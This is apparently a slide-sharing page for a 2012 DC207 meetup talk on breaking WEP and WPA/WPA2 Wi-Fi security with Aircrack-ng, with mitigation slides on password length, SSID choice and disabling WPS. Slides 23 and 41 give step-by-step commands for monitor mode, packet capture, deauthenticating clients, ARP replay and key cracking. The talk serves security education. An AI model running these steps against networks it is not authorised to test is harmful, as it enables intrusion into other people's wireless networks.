Feb-8-2012-Breaking-Wireless-Security
1 like1,571 views
The document presents a tutorial by Casey DC207 on wireless security cracking, covering how to retrieve WEP and WPA/WPA2 passwords using the Aircrack-ng suite. It discusses the vulnerabilities of WEP encryption and the more secure WPA/WPA2 protocols, as well as mitigation strategies to enhance security. The session emphasizes the ease of exploiting WPS vulnerabilities and provides practical commands for cracking these protocols.
Feb-8-2012-Breaking-Wireless-Security
- 1. Breaking Wireless Security cracking WEP & WPA presented by Casey DC207
- 2. what we're covering Using aircrack-ng suite to capture wireless traffic
- 5. what we're not covering cryptographic specifics
- 6. in depth packet analysis
- 7. brute forcing WPS (Wi-Fi Protected Setup) time
- 9. Aircrack-ng
- 10. ALFA Wireless USB Adapter (Model AWUS036H)
- 11. Yay! BlueTarp!
- 12. WEP Wired Equivalent Privacy (WEP)
- 13. Sept. 1999 in original 802.11 standard
- 14. uses an RC4 Stream Cipher
- 15. crypto is inherently flawed
- 16. deprecated in 2004 in favor of WPA2
- 17. still available on routers today
- 18. WEP encryption RC4 cipher uses Key + IV (Initial Values)
- 19. august 2001, Scott Fluhrer, Itsik Mantin, and Adi Shamir
- 20. passive attack to recover Key
- 21. need a busy network or a way to produce enough traffic
- 22. with enough IVs can calculate the Key
- 23. cracking WEP place card in monitor mode # airmon-ng start wlan0 capture packets to the desired AP # airodump-ng mon0 –bssid bssid –channel c –write crackme wait for an authorized client to connect can also deauthorize clients # aireplay-ng -0 5 -a bssid mon0 spoof ARP responses to generate more traffic # aireplay-ng -3 -b bssid -h client_mac mon0 use aircrack-ng to crack the key # aircrack-ng crackme.cap
- 24. DEMO
- 25. WEP cracking mitigation none.
- 26. don't use.
- 27. password complexity DOES NOT MATTER
- 28. WPA Wi-Fi Protected Access
- 29. WPA became available in 1999
- 30. uses TKIP encryption algorithm
- 31. intermediate step until WPA2
- 32. WPA2 WPA2 available in 2004
- 34. WPA-Personal PSK (Pre-Shared Key) home/small office use WPA-Enterprise Requires a RADIUS server for authentication
- 35. WPA encryption encryption based on AES
- 36. no known public exploits that attacks the crypto
- 38. uses SSID of network as part of encryption
- 39. precomputation is much harder
- 40. Yay! BlueTarp!
- 41. cracking WPA / WPA2 place card in monitor mode # airmon-ng start wlan0 capture packets to the desired AP # airodump-ng mon0 –bssid bssid –channel c –write crackme capture handshake from connecting client can force clients to deauth to capture it # aireplay-ng -0 5 -a bssid mon0 use aircrack-ng to try and brute force key requires a good wordlist # aircrack-ng crackeme.cap -w wordlist
- 42. DEMO
- 43. WPA cracking mitigation use a password >= 15 characters
- 44. don't use a name in the top 1000 SSID list
- 45. disable WPS!
- 46. WPS Wi-Fi Protected Setup
- 47. attempt at easy secure access
- 48. wanted to make it easy to add new devices
- 49. almost universally enabled on new routers
- 50. completely fails to brute force attack revealed in December 2011
- 51. get the WPS pin, use it to retrieve the PSK when enabled renders WPA/WPA2 useless
- 52. linksys routers still vulnerable with WPS disabled
- 53. Thanks for coming! Thank you Jon and BlueTarp for hosting and food! Questions? Help? [email_address] @CaseyDunham dc207.org @DCG207
- 54. resources BackTrack Linux backtrack-linux.org
- 57. DC207 dc207.org